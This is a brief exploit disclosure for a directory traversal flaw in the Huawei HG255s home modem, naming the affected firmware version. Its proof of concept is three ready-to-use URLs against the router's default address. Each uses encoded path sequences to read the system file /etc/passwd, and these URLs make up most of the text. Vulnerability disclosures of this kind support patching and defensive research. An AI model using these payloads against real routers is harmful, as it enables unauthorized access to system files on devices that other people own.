#### Exploit Title: [Server Directory Traversal at Huawei HG255s]
#### Date: [20.10.2017]
#### Exploit Author: [Ismail Tasdelen]
#### Vendor Homepage: [www.huawei.com]
#### Software Link: [Not published this modem just used by Turkey]
#### Version: [V100R001C163B025SP02]
#### POC:
Directory Traversal Payload:
http://192.168.0.1/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
http://192.168.0.1/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
http://192.168.0.1/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
暂无评论